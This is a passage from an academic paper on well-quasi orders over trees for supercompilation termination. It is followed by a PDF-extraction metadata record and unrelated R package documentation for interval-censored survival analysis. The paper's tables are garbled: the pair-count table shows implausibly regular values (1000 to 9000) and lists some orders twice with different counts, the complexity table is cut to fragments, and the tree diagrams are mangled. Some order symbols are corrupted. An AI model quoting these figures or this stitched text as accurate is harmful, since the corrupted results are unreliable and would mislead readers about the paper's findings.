eventually, create a tree with the same set of constructors that are used at least twice as an earlier tree. But \( \preceq_Y \) will not stop temporary growth that does not preserve this set, such as replacing a subtree \( c(a,a,b) \) by \( c(a,b,b) \). Obviously, larger trees will trigger more false positives, so \( \preceq_Y \) works best in combination with other WQOs. ### 3.3 Well-quasi orders defined by mapping to multisets For these WQOs we map a tree to the multiset (bag) of its constructors. More precisely, we use a function \( g \) from \( T \) to the set \( B = \mathbb{N}^\Sigma \) of multisets over \( \Sigma \) defined in the following way: \[ \begin{align*} g(c) &= \{c\} \\ g(c(s_1, \ldots , s_n)) &= \{c\} \cup \bigcup_{i=1}^n g(s_i) \end{align*} \] where \( \cup \) is union on multisets. \( \preceq_B \): We propose a new WQO \( (T, \preceq_B) \) that directly uses \( g \): \( s \preceq_B t \iff g(s) \subseteq g(t) \). \( (B, \subseteq) \) is a WQO due to Theorem 5 so \( (T, \preceq_B) = (T, \subseteq^B) \) is a WQO by Theorem 2. We deem \( \preceq_B \) appropriate for supercompilation and related transformations because an infinite sequence usually involves copying nodes in the tree more and more times, which would make the multiset of constructors in a new tree a superset of those in a previous tree. \( \preceq_M \): Another WQO that has been used for supercompilation [6] is also based on multisets over \( \Sigma \). Given two multisets \( b_1, b_2 \in B \), we define \( b_1 \preceq b_2 \iff b_1 = b_2 \lor \text{set}(b_1) = \text{set}(b_2) \land |b_1| < |b_2| \), where \( \text{set}(b) \) is the set of different elements in \( b \) and \( |b| \) is the total number of elements in \( b \). Since there are only finitely many different sets over a finite alphabet, any infinite sequence must have infinitely many bags with the same underlying sets. Since there are only finitely many bags with the same size, this means that, in any infinite sequence, the size of the bags must increase. Hence, \( (B, \preceq) \) is a WQO. We define \( (T, \preceq_M) \) to be the quasi order on trees derived from \( (B, \preceq) \) by the mapping \( g \). In other words, \( s \preceq_M t \iff g(s) \preceq g(t) \). By Theorem 2 \( (T, \preceq_M) = (T, \preceq^M) \) is a WQO. Basically, \( \preceq_M \) refines \( \preceq_S \) by making trees incomparable if they have different underlying sets. In [6], subexpressions of the original program are named, and new expressions inherit the names of their progenitors. So any expression will be assigned a multiset of names. Since names of new expressions are based on where in the original program their progenitor expressions occur, two identical expression trees can have different multisets of names. While adding names to nodes in the trees adds information that a plain expression tree does not have, the mapping from trees to multisets is basically the same as \( g \), except that a node with multiple names is mapped to a multiset of all these names instead of to a multiset with just one name. ### 3.4 Well-quasi orders defined by mapping to strings \( \preceq_P \): We map trees into strings over a finite alphabet and compare these strings. We map a tree \( t \) to a string \( w \) by a mapping \( \text{Pre} \) from \( T \) to \( \Sigma^* \), i.e, the set of finite strings over the alphabet \( \Sigma \). \( \text{Pre}(t) \) is the string of constructors in \( t \) in preorder-traversal order: \[1\]Mitchell uses a negated form of this relation and negates the test for termination detection. $Pre(c) = c$ $Pre(c(t_1, \ldots, t_n)) = cPre(t_1) \cdots Pre(t_n)$ Note that, since constructors have fixed arities, $Pre$ is injective: Different trees map to different strings. We compare the strings using the subsequence order: $w_1 \ll w_2$ if $w_1$ is a subsequence of $w_2$. By Theorem 4, $(\Sigma^*, \ll)$ is a WQO. We now define the quasi order $(T, \preceq_P)$ by $t_1 \preceq_P t_2 \iff Pre(t_1) \ll Pre(t_2)$. Theorem 2 gives that $(T, \preceq_P) = (T, \ll^{Pre})$ is a WQO. $\preceq_P$ is appropriate for supercompilation because it approximates $\preceq_H$, which has proven successful for controlling termination in supercompilation, but (as we shall see) $\preceq_P$ is less costly to compute. $\preceq_E$: We can refine $\preceq_P$ by mapping trees to strings that contain more information about the structure of the tree: In a preorder traversal, a constructor node is visited only once, before its children. But we can add additional visits of the node between and after traversing its children. This is sometimes called an Euler-tour traversal. We define this through a modified traversal function: $$Eul(c) = c$$ $$Eul(c(t_1, \ldots, t_n)) = c_0Eul(t_1)c_1 \cdots Eul(t_n)c_n$$ where $c_i$ is a symbol that marks that $i$ children of a constructor node labelled $c$ have been traversed. Theorems 4 and 2 give that $(T, \preceq_E) = (T, \ll^{\text{Eul}})$ is a WQO. $\preceq_E$ is appropriate for supercompilation for the same reason that $\preceq_P$ is. 4 Comparing well-quasi orders by discriminative power We recall that a WQO $\preceq_1$ is more discriminative than a WQO $\preceq_2$ if $\forall s_1, s_2 \in S: s_1 \preceq_1 s_2 \Rightarrow s_1 \preceq_2 s_2$, and it is strictly more discriminative if, additionally, $\exists s_1, s_2 \in S: s_1 \preceq_1 s_2 \land s_1 \preceq_2 s_2$. We will use the following trees in our discussion about the relative discriminative power of WQOs: <p>| | | | | | | | | |</p> <table> <thead> <tr> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td>A:</td> <td>b</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>b</td> <td></td> <td>a</td> <td>a</td> <td>a</td> <td>a</td> <td>a</td> <td>a</td> <td>a</td> </tr> <tr> <td>B:</td> <td>b</td> <td>b</td> <td>b</td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>b</td> <td>b</td> <td>a</td> <td>a</td> <td>a</td> <td>a</td> <td>a</td> <td>a</td> <td>a</td> </tr> <tr> <td>C:</td> <td>b</td> <td>b</td> <td>b</td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>b</td> <td>b</td> <td>b</td> <td>b</td> <td>a</td> <td>a</td> <td>a</td> <td>a</td> <td>a</td> </tr> <tr> <td>D:</td> <td>a</td> <td>b</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>a</td> <td>b</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> </tbody> </table> It is not hard to see that $t_1 \preceq_H t_2 \Rightarrow Eul(t_1) \ll Eul(t_2) \Leftrightarrow t_1 \preceq_E t_2$, so $\preceq_H$ is more discriminative than $\preceq_E$. It is also strictly more discriminative: $$Eul(A) = b_0b_0ab_1b_1 \ll d_0b_0ab_1d_1b_0ab_1d_2b_0ab_1d_3 = Eul(C)$$ so $A \preceq_E C$, but it is clear from inspection of the trees that $A \nsubseteq_H C$. It is also clear that $\preceq_E$ is more discriminative than $\preceq_P$: If $Eul(t_1) \ll Eul(t_2)$ then, clearly, $Pre(t_1) \ll Pre(t_2)$. It is also strictly more discriminative: $Eul(A) = b_0b_0ab_1b_1 \ll c_0b_0ab_1c_1b_0ab_1c_2 = Eul(B)$, but $Pre(A) = bba \ll cbaab = Pre(B)$, so $A \nsubseteq_E B$ while $A \preceq_P B$. It is easy to see that ≤_P is more discriminative than ≤_B: If \( \text{Pre}(t_1) \ll \text{Pre}(t_1) \), then \( \text{bag}(\text{Pre}(t_1)) \subseteq \text{bag}(\text{Pre}(t_1)) \), where \( \text{bag} \) maps a string to a bag by ignoring the order of elements. It is also strictly more discriminative, as \( B \not\leq_P D \) but \( B \leq_B D \), since the trees \( B \) and \( D \) map to the same bag of constructors \( \{a,a,b,b,c\} \). It is, however, not the case that \( \leq_B \) is more discriminative than \( \leq_M \). We see this by observing that \( (B, \subseteq) \) and \( (B, \leq) \) have incomparable discriminative power: On the one hand, \( \{a,b,b\} \leq \{a,a,a,b\} \), since their underlying sets are the same and \( |\{a,b,b\}| < |\{a,a,a,b\}| \), but on the other hand \( \{a,b,b\} \not\leq \{a,a,a,b\} \). Also, \( \{a\} \subseteq \{a,b\} \) but \( \{a\} \not\leq \{a,b\} \), because the underlying sets are different. In fact, because \( \leq_M \) makes trees with different underlying sets of constructors incomparable, its discriminative power is also incomparable to \( \leq_P \) and \( \leq_H \). It is trivial to see that \( \leq_M \) is strictly more discriminative than \( \leq_S \), as \( \leq_M \) is effectively size comparison restricted to trees with the same underlying set of constructors. \( \leq_B \) has incomparable discriminative power to \( \leq_S \) also: Two different trees of the same size are incomparable by \( \leq_S \), but if they are built from the same multiset of constructors, they are comparable by \( \leq_B \). But \( \leq_S \) has strictly less discriminative power than \( \leq_P \) (and, hence, also \( \leq_E \) and \( \leq_H \)): Since constructors have fixed arity, two trees have the same preorder traversal strings only if they are identical. Two same-size trees will have same-length preorder-traversal strings, and same-length strings can be in the subsequence relation only if they are equal. So two non-identical same-size trees will be incomparable by both \( \leq_P \) and \( \leq_S \). But where trees of different size are always comparable by \( \leq_S \), they need not be comparable by \( \leq_P \). \( \leq_Z \) is clearly strictly less discriminative than \( \leq_M \), as both consider the underlying set but \( \leq_Z \) does not consider the size of the trees (or, equivalently, the size of the underlying multisets). The discriminative powers of \( \leq_Z \) and \( \leq_S \) are incomparable, as are the discriminative powers of \( \leq_Z \) and \( \leq_B \). \( \leq_Z \) and \( \leq_Y \), though related, are of incomparable discriminative power: The trees \( B \) and \( C \) are comparable by \( \leq_Y \), as the constructors \( a \) and \( b \) (and none other) occur twice or more in both trees, but the underlying sets are different so they are not comparable by \( \leq_Z \). On the other hand \( D \) and a tree similar to \( D \) but with only one \( b \) constructor will be comparable by \( \leq_Z \) but not by \( \leq_Y \). \( \leq_Y \) is, in fact, incomparable with all the other WQOs described in Section 3. This gives us the following hierarchy of discriminative power: \[ \begin{align*} \leq_H \\ \leq_E \\ \leq_M \quad \leq_P \\ \leq_Y \quad \leq_Z \quad \leq_S \quad \leq_B \end{align*} \] ### 4.1 Combining well-quasi orders We can combine two or more incomparable WQOs by intersection to get a WQO of more discriminative power. For example, we can define a WQO \( (T, \leq_{SB}) = (T, \leq_S \cap \leq_B) \).\footnote{When we subscript \( \leq \) with several letters, this denotes the intersection of the orderings defined by \( \leq \) subscripted with each individual letter.} In other words, \( s \leq_{SB} t \Leftrightarrow s \leq_S t \land s \leq_B t \land \ldots \) Since $\leq_S$ and $\leq_B$ have incomparable discriminative power, it is clear that $\leq_{SB}$ is strictly more discriminative than both $\leq_S$ and $\leq_B$. $\leq_{SB}$ has strictly less discriminative power than $\leq_P$: Consider a tree $D'$ similar to $D$ but with one extra $b$ node in the right branch. It is clear that $B \preceq_S D'$, since $D'$ is bigger than $B$ and $B \preceq_B D'$ since the bag of constructors in $B$ is a subset of the bag of constructors in $D'$. But $B \not\preceq_P D'$ since $\Pre(B) \not\subseteq \Pre(D')$. From its definition, it is easy to see that $(T, \leq_M) = (T, \leq_{ZS})$, where $\leq_{ZS} = (\leq_Z \cap \leq_S)$. All other combinations of incomparable WQOs yield new WQOs. For example, as we saw above, $\leq_{SB}$ is less discriminative than $\leq_P$ but more discriminative than both $\leq_S$ and $\leq_B$. Adding all combinations of incomparable WQOs introduced in Section 3 gives a hierarchy of WQOs which is induced from the partial order shown in the hierarchy above. The only non-obvious results of the combinations are that $\leq_{SB}$ is strictly below $\leq_P$ and that $\leq_M = \leq_{ZS}$, which implies, for example, $\leq_{MP} = \leq_{ZSP} = \leq_{ZP}$. The complete hierarchy is too complicated to show graphically, so we show below the hierarchy of the 13 single and combined WQOs that do not involve $\leq_Y$. For each of these, there is a more discriminative WQO obtained by combining it with $\leq_Y$. Adding also $\leq_Y$ itself brings the total count up to 27. This hierarchy says only whether one of the listed WQOs is more discriminative than another, but not how much more discriminative it is. There is no definitive measure for this, but we have made an approximate measure by generating 400 random, different trees using a signature with one nullary constructor $a$, one unary constructor $b$, one binary constructor $c$ and one ternary constructor $d$, using the following probabilities for the different constructors: - $a$: 50% - $b$: 20% - $c$: 15% - $d$: 15% The table below shows for each of the discussed WQOs and all relevant combinations of these the number of pairs $(t_1, t_2)$ (out of 160000) where $t_1 \preceq t_2$. <table> <thead> <tr> <th>WQO</th> <th>Number of Pairs</th> </tr> </thead> <tbody> <tr> <td>$\leq_Z$</td> <td>1000</td> </tr> <tr> <td>$\leq_S$</td> <td>1500</td> </tr> <tr> <td>$\leq_B$</td> <td>2000</td> </tr> <tr> <td>$\leq_{ZB}$</td> <td>2500</td> </tr> <tr> <td>$\leq_M$</td> <td>3000</td> </tr> <tr> <td>$\leq_{SB}$</td> <td>3500</td> </tr> <tr> <td>$\leq_P$</td> <td>4000</td> </tr> <tr> <td>$\leq_{ZP}$</td> <td>4500</td> </tr> <tr> <td>$\leq_{ZSP}$</td> <td>5000</td> </tr> <tr> <td>$\leq_{ZHP}$</td> <td>5500</td> </tr> <tr> <td>$\leq_{ZH}$</td> <td>6000</td> </tr> <tr> <td>$\leq_{ZE}$</td> <td>6500</td> </tr> <tr> <td>$\leq_{HE}$</td> <td>7000</td> </tr> <tr> <td>$\leq_{EP}$</td> <td>7500</td> </tr> <tr> <td>$\leq_{MP}$</td> <td>8000</td> </tr> <tr> <td>$\leq_{ZSP}$</td> <td>8500</td> </tr> <tr> <td>$\leq_{ZP}$</td> <td>9000</td> </tr> </tbody> </table> Though this is a very rough comparison, as the random trees are hardly typical of what you see in program transformation and analysis, it shows a considerable difference in discriminative power between the different WQOs and also that combining two incomparable WQOs can yield a WQO with significantly higher discriminative power. 5 Comparing well-quasi orders by computational complexity The typical scenario is that a new element in a sequence is compared to all previous elements in the sequence. This means that the total number of comparisons required for an \( n \)-long sequence is \( n(n-1)/2 \) or \( O(n^2) \). So a way to reduce the overall complexity is to, if possible, split a comparison \( s \sqsubseteq t \) into two steps: First computing values \( f(s), f(t) \) and then comparing these using a computationally simpler ordering (essentially using Theorem 2). \( f(s_i) \) is computed only once per element \( s_i \) in the list, so even a small saving in comparing the results will give an overall saving, even if precomputing \( f(s_i) \) is relatively expensive. We will primarily focus on the accumulated cost of building a sequence and comparing each new element to all previous elements, using any relevant precomputation on each element. We also exploit the fact that we stop building the sequence as soon as we add an element \( t \) such that there is a \( s_i \sqsubseteq t \) in the sequence already. As a simple example, consider \( \sqsubseteq_S \), which is defined by \( s \sqsubseteq_S t \iff s = t \lor |s| < |t| \). Clearly, the comparison of the sizes (once these are computed) is very fast, but time for computation of the sizes is proportional to the sizes themselves. If all \( n \) trees have sizes close to \( S \), an implementation that computes the size at every comparison would need \( O(n^2 \cdot S) \) time, but if the sizes are computed only once per tree, the total cost of size comparisons is only \( O(n \cdot S + n^2) \), assuming unit cost of integer comparison. On top of the size comparison, we must compare a new element for equality to all previous elements. Though comparing for equality is in the worst case proportional to the size of the trees, it can in practice be made (near) constant time by using hashing, requiring an \( O(S) \) precomputation per tree for computing the hash. So, assuming effective hashing, the identity comparisons do not add to the overall asymptotic complexity. Additionally, since we stop adding elements to a sequence once we find an element that compares to a previous element, the sizes of elements in a sequence are non-increasing. This means that... we only need to compare the size of a new element \( t \) with that of the last previously added element \( s_i \). And comparing \( t \) for identity with each previous element can be avoided by using the hash code to look up in a table that indicates whether a tree with the same hash code has been seen before. This reduces the cost (again assuming effective hashing) to \( O(S) \) for each new added element, so the total cost for an \( n \)-long sequence is \( O(n \cdot S) \). For \( \preceq_Z \), we can for each tree precompute its set of constructors. The sets can be hashed or (if \( \Sigma \) is small) represented by a short bit vector, so we do an \( O(S) \) precomputation per tree to compute a hash value or a bit vector. Much like above, we can use the hash value or bit vector as a key into a table that indicates whether we have seen the set before, so again the total cost \( O(n \cdot S) \). The same analysis applies to \( \preceq_Y \). \( \preceq_B \) also maps trees to multisets, which can be precomputed. A multiset can be represented as a vector of the number of occurrences of each constructor, and the comparison of two such vectors is proportional to their size, which is the size \( |\Sigma| \) of the alphabet of constructors \( \Sigma \). Precomputation is, again, linear in the size of the trees, so the total cost is \( O(n \cdot S + |\Sigma| \cdot n^2) \). \( \preceq_P \) maps trees to strings and then compares these using the subsequence order. Mapping a tree of size \( S \) to a string is \( O(S) \) and produces a string of size \( S \). Deciding the subsequence relation for two strings \( v \) and \( w \) is \( O(|v| + |w|) \). Subsequence tests are done a total of \( O(n^2) \) times, so the total cost is \( O(n^2 \cdot S) \), which is significantly more than for the previous WQOs. \( \preceq_E \) has the same asymptotic cost as \( \preceq_P \), but with a higher constant factor (about twice as high), as the generated strings are roughly twice as long. But this is still far less than the cost of \( \preceq_H \). At the time of writing, the fastest known method \cite{1} for deciding \( t_1 \preceq_H t_2 \) is \( O(|t_1| \cdot |t_2| / \log(|t_2|) + |t_2| \cdot \log(|t_2|)) \), which makes the total cost for a sequence of \( n \) size-\( S \) trees \( O(n^2 \cdot S^2 / \log(S)) \), since the \( O(S \cdot \log(S)) \) component of the cost is asymptotically dominated by \( O(n^2 \cdot S^2 / \log(S)) \). There is no obvious precomputation that can reduce this time. The table below summarises the costs both for pairwise comparison and for comparing each element in a sequence of \( n \) elements of size \( S \) to all previous elements in the sequence. <table> <thead> <tr> <th>WQO</th> <th>( s \preceq t )</th> <th>sequence of ( n ) trees of size ( S )</th> </tr> </thead> <tbody> <tr> <td>( \preceq_Z )</td> <td>( O(</td> <td>s</td> </tr> <tr> <td>( \preceq_Y )</td> <td>( O(</td> <td>s</td> </tr> <tr> <td>( \preceq_S )</td> <td>( O(</td> <td>s</td> </tr> <tr> <td>( \preceq_B )</td> <td>( O(</td> <td>s</td> </tr> <tr> <td>( \preceq_P )</td> <td>( O(</td> <td>s</td> </tr> <tr> <td>( \preceq_E )</td> <td>( O(</td> <td>s</td> </tr> <tr> <td>( \preceq_H )</td> <td>( O(</td> <td>s</td> </tr> </tbody> </table> While many of the WQOs have the same complexity \( O(|s| + |t|) \) for pairwise comparison of trees, the accumulated complexity of constructing and checking a sequence differs considerably for several of these. ### 5.1 Cost of combined WQOs With a few exceptions, combined WQOs have asymptotic costs that are the sums of the asymptotic costs of their components, as you can test each component WQO independently of the others. The exceptions are combinations of \( \preceq_S \) and other WQOs as we, to get the cost of testing a sequence with \( \preceq_S \) down to \( O(n \cdot S) \), exploited that the sizes of trees in a sequence using \( \preceq_S \) as indicator would stop when the size of the new tree is larger than the immediately previous, so the sizes of trees in the sequence would be non-increasing. But when combining \( \preceq_s \) with another WQO \( \preceq' \), the sizes of trees in the sequence are not necessarily non-increasing, as the size of a new element \( t \) can be larger than the size of a previous element \( s_i \) as long as \( s_i \not\preceq' t \). So we will generally have to compare \( t \) with all previous elements \( s_i \). We can still precompute the sizes of the trees and compute hash codes for quick equality testing, but unless \( \preceq' \) allows partitioning the sequence into subsequences of non-increasing size, we will need to compare the size of \( t \) to the sizes of all previous elements in the sequence. So without knowing more about \( \preceq' \), the part of the total cost needed for testing a sequence with \( \preceq_s \) is \( \Omega(n \cdot S + n^2) \). So, generally, the cost of combining \( \preceq_s \) with a WQO \( \preceq' \) is the sum of \( \Omega(n \cdot S + n^2) \) and the cost for \( \preceq' \). This can, however, be avoided for some instances of \( \preceq' \), such as \( \preceq_Y \) and \( \preceq_Z \), as we shall see below. If \( f \) is a function from \( T \) to a finite set \( F \) (such as \( 2^2 \)), then testing a sequence for a combination of a WQO of the form \((T, \not\preceq')\) and another WQO \( \preceq' \) can be done by partitioning the sequence \( s_i \) (as it is built) by different values of \( f(s_i) \). Using hashing on the values of \( f(s_i) \), finding the right partition for a new element \( t \) can be done in \( O(|t|) \) time (to perform the hashing) and a constant-time lookup. The new element is then compared to the other elements in the partition using \( \preceq' \) only, so the total cost of adding an element \( t \) to the sequence is \( O(|t|) \) plus the cost using \( \preceq' \) of adding \( t \) to a sequence. For example, combining \( \preceq_Z \) and \( \preceq_s \) can be done by partitioning the sequence by different sets of constructors. Each partition will be a subsequence of the original with non-increasing sizes, so the fast method for testing a sequence for \( \preceq_s \) can be used for each subsequence, which brings the total cost for building and testing a sequence with \( \preceq_{2s} = \preceq_M \) down to \( \Omega(n \cdot S) \). The same analysis applies to combining \( \preceq_Y \) with \( \preceq_s \). All the other WQOs presented in Section 3 require comparison of (some precomputed value of) the new tree \( t \) to all previous trees \( s_i \), so the cost of combining two of these is a simple addition of the costs of the components. We can, however, first test a new element \( t \) against previous elements \( s_i \) using the cheaper of the two WQOs \( \preceq_1 \), and only when that finds an \( s_i \not\preceq_1 t \) check if \( s_i \not\preceq_2 t \), where \( \preceq_2 \) is the more costly of the two. Similarly, less costly measures can be used to approximate more costly measures: For example, when comparing with \( \preceq_{YH} \), we can first test (fairly cheaply) if \( s_i \not\preceq_{YS} t \), and if this is true try \( s_i \not\preceq_E t \), and only if this is also true perform the expensive test \( s_i \not\preceq_H t \). This way, we get the full discriminative power of \( \preceq_{YH} \) but we will in many (probably most) cases be able to avoid the full cost. 6 Conclusion We have compared a number of well-quasi orders (WQOs) on trees for discriminative power and computational cost. The selection of WQOs include very simple WQOs (\( \preceq_Z, \preceq_s \)), several WQOs from the literature of supercompilation (\( \preceq_M, \preceq_H \)) as well as some proposed by the author (\( \preceq_Y, \preceq_B, \preceq_P, \preceq_E \)), that to the author’s knowledge have not been used for termination of program analysis and transformation. We have also looked at combining two or more WQOs of incomparable discriminative power to get a more discriminative WQO. This adds 19 more distinct WQOs (\( \preceq_{YZ}, \preceq_{ZH}, \preceq_{YH}, \preceq_{YZH}, \preceq_{ZE}, \preceq_{YE}, \preceq_{YZE}, \preceq_{ZP}, \preceq_{YP}, \preceq_{YYP}, \preceq_{ZB}, \preceq_{YB}, \preceq_{YZB}, \preceq_{SB}, \preceq_{MB}, \preceq_{YSB}, \preceq_{YMB}, \preceq_{YS}, \preceq_{YM} \)). We observe that, in a typical scenario, we do not just compare a pair of trees, but compare each new element of a sequence to all previous elements. In such a scenario, time can be saved by precomputing some values for each tree as it is added to the sequence, and then using these values for the WQO comparison. This can for many WQOs dramatically reduce the overall cost. While higher discriminative power gives more precision, there is a higher cost not only from computing the more complex WQO, but also because sequences of trees get longer before they are generalised/widened and folded back, so analyses and transformations can take longer (and transformed programs can be bigger). The choice of which WQO to use should consider all of the above. When using a combined WQO, it can be cheaper to first compare with the cheapest component WQO and only if that succeeds, compare with the more expensive component WQO. When combining with \( \leq_Z \) and \( \leq_Y \), these can be used to partition the sequence. This idea can also be applied with comparable WQOs: If a cheaply computable WQO approximates a more expensive WQO, we can compute the cheap WQO and only if that succeeds compute the expensive WQO. In neither case is the worst-case cost lowered (and it can be somewhat increased), but the average cost can be significantly lower. From the (admittedly naive) statistic tests, it seems combining a WQO \( \leq' \) with \( \leq_Z \) or (in particular) \( \leq_Y \) gives significantly higher discriminative power than \( \leq' \) alone, but combining with both \( \leq_Z \) and \( \leq_Y \) gives only little extra power over combining with \( \leq_Y \) alone. 7 Acknowledgements The author would like to thank the organisers of SAIRP for inviting him to submit a paper. He also thanks the anonymous reviewers, whose suggestions greatly improved the quality of the paper. The author would also like to thank Dave Schmidt for being an inspirational scientist and a generally fun guy to be around. The halo over his head in the photo on his personal home page [7] is well deserved. References
{"Source-Url": "https://static-curis.ku.dk/portal/files/169138669/1309.5130v1.pdf", "len_cl100k_base": 11443, "olmocr-version": "0.1.53", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 52575, "total-output-tokens": 13034, "length": "2e13", "weborganizer": {"__label__adult": 0.0004763603210449219, "__label__art_design": 0.0005631446838378906, "__label__crime_law": 0.0005602836608886719, "__label__education_jobs": 0.0014505386352539062, "__label__entertainment": 0.0001283884048461914, "__label__fashion_beauty": 0.00024008750915527344, "__label__finance_business": 0.0004773139953613281, "__label__food_dining": 0.0005249977111816406, "__label__games": 0.0010585784912109375, "__label__hardware": 0.0012865066528320312, "__label__health": 0.0010271072387695312, "__label__history": 0.0004031658172607422, "__label__home_hobbies": 0.00019752979278564453, "__label__industrial": 0.0006737709045410156, "__label__literature": 0.0007023811340332031, "__label__politics": 0.0003995895385742187, "__label__religion": 0.000759124755859375, "__label__science_tech": 0.1590576171875, "__label__social_life": 0.000148773193359375, "__label__software": 0.00787353515625, "__label__software_dev": 0.8203125, "__label__sports_fitness": 0.0003833770751953125, "__label__transportation": 0.0008368492126464844, "__label__travel": 0.0002262592315673828}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 39011, 0.04055]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 39011, 0.53097]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 39011, 0.86162]], "google_gemma-3-12b-it_contains_pii": [[0, 761, false], [761, 4465, null], [4465, 7004, null], [7004, 10661, null], [10661, 14469, null], [14469, 17499, null], [17499, 21301, null], [21301, 23949, null], [23949, 26598, null], [26598, 30725, null], [30725, 35702, null], [35702, 39011, null]], "google_gemma-3-12b-it_is_public_document": [[0, 761, true], [761, 4465, null], [4465, 7004, null], [7004, 10661, null], [10661, 14469, null], [14469, 17499, null], [17499, 21301, null], [21301, 23949, null], [23949, 26598, null], [26598, 30725, null], [30725, 35702, null], [35702, 39011, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 39011, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 39011, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 39011, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 39011, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 39011, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 39011, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 39011, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 39011, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 39011, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 39011, null]], "pdf_page_numbers": [[0, 761, 1], [761, 4465, 2], [4465, 7004, 3], [7004, 10661, 4], [10661, 14469, 5], [14469, 17499, 6], [17499, 21301, 7], [21301, 23949, 8], [23949, 26598, 9], [26598, 30725, 10], [30725, 35702, 11], [35702, 39011, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 39011, 0.17674]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
4aa34ee664a5028ddc78a080fb6e82b3bb21ba5f
Package ‘interval’ October 8, 2021 Type Package Title Weighted Logrank Tests and NPMLE for Interval Censored Data Version 1.1-0.8 Date 2021-10-08 Author Michael P. Fay Maintainer Michael P. Fay <mfay@niaid.nih.gov> Depends R (>= 2.2.1), stats, survival, perm (>= 1.0), Icens, MLEcens Suggests coin LazyLoad yes Description Functions to fit nonparametric survival curves, plot them, and perform logrank or Wilcoxon type tests [see Fay and Shaw <doi:10.18637/jss.v036.i02>]. License GPL (>= 2) NeedsCompilation no Repository CRAN Date/Publication 2021-10-08 15:20:02 UTC R topics documented: interval-package .......................................................... 2 Aintmap ................................................................. 2 bcos ................................................................. 4 getsurv .............................................................. 4 icfit ................................................................. 5 icfitControl ........................................................... 8 ictest ............................................................... 9 initcomputeMLE ....................................................... 15 mControl ............................................................ 17 methodRuleIC1 ......................................................... 18 plot.icfit ............................................................ 19 summary.icfit ....................................................... 21 SurvLR ............................................................ 22 Index 23 Description The main functions are `icfit` to fit nonparametric survival curves together with `plot.icfit` to plot them, and `ictest` to perform logrank or Wilcoxon type tests. Details <table> <thead> <tr> <th>Package</th> <th>interval</th> </tr> </thead> <tbody> <tr> <td>Type</td> <td>Package</td> </tr> <tr> <td>Version</td> <td>1.1-0.8</td> </tr> <tr> <td>Date</td> <td>2021-10-08</td> </tr> <tr> <td>License</td> <td>GPL 2</td> </tr> </tbody> </table> Author(s) Michael Fay Maintainer: M.P. Fay <mfay@niaid.nih.gov> References Aintmap Create A matrix and intmap Description The A matrix is an n by k matrix of zeros and ones, where each row represents one of n failure times, and each column represents a possible interval for the nonparametric maximum likelihood estimate (NPMLE). The function Aintmap creates an A matrix and associated intmap from left and right intervals (L and R) which may not may not include the boundary of the interval (using Lin or Rin). The matrix intmap denotes the intervals of the potential jumps in the distribution of the NPMLE, and its attribute LRin denotes whether to include each of the intervals or not. Called by icfit. Aintmap Usage Aintmap(L,R,Lin=NULL,Rin=NULL) Arguments - **L**: numeric vector of left endpoints of censoring interval - **R**: numeric vector of right endpoints of censoring interval - **Lin**: logical vector, should L be included in the interval? (see details) - **Rin**: logical vector, should R be included in the interval? (see details) Details The Lin and Rin specify whether or not to include the ends of the intervals. They may be length 1 (and apply to all n values) or length n. The function automatically only returns the innermost intervals (also called the Turnbull intervals [see Turnbull, 1976], or the regions of the maximal cliques [see Gentleman and Vandal, 2002]). The innermost intervals give the "primary reduction" of Aragon and Eberly (1992). Value A list with two objects: - **A** - an n by k matrix of 0 and 1s - **intmap** - the associated intmap References See Also - Called from icfit and ictest Examples Aintmap(c(2,3,3,7),c(3,5,5,8),Lin=c(FALSE,TRUE,FALSE,FALSE),Rin=c(TRUE,FALSE,TRUE,FALSE)) Breast Cosmesis Data Description The often used data set for interval censored data, described and given in full in Finkelstein and Wolfe (1985). Usage data(bcos) Format A data frame with 94 observations on the following 3 variables. - left a numeric vector - right a numeric vector - treatment a factor with levels Rad and RadChem Source Examples data(bcos) getsurv get survival values from icfit object Description For a vector of times, getsurv gets the associated survival values. The MLE is not uniquely defined for times inbetween the first and second row on the same column of the intmap. If there is not a unique MLE for a specific time, then either use, interpolation: (default), which basically finds the point on the line connecting the two points bounding the non-unique MLE interval, or, left: take the left side of the non-unique MLE interval (smallest value) or, right: take the right side of the non-unique MLE interval. The LRin attribute is ignored (see warning). If icfit has more than one strata, then performs the operations on each stratum. Usage getsurv(times, icfit, nonUMLE.method = "interpolation") icfit Arguments times numeric vector of times icfit icfit object used to define the survival function nonUMLE.method character vector, either "interpolation", "left" or "right". Method for finding survival when times element is not at a unique MLE time. Value if there is only one stratum, then creates a LIST, with elements S vector of survival function values at each element of times times vector of times for which need survival function unique.mle logical denoting whether associated survival value is a unique MLE nonUMLE.method character vector describing non-unique MLE method if there are k>1 strata, then creates a list with k+1 elements, the elements 1:k are lists of results for each strata, and element k+1 is called strataNames and is a character vector of strata names. Warning The getsurv function does not use LRin 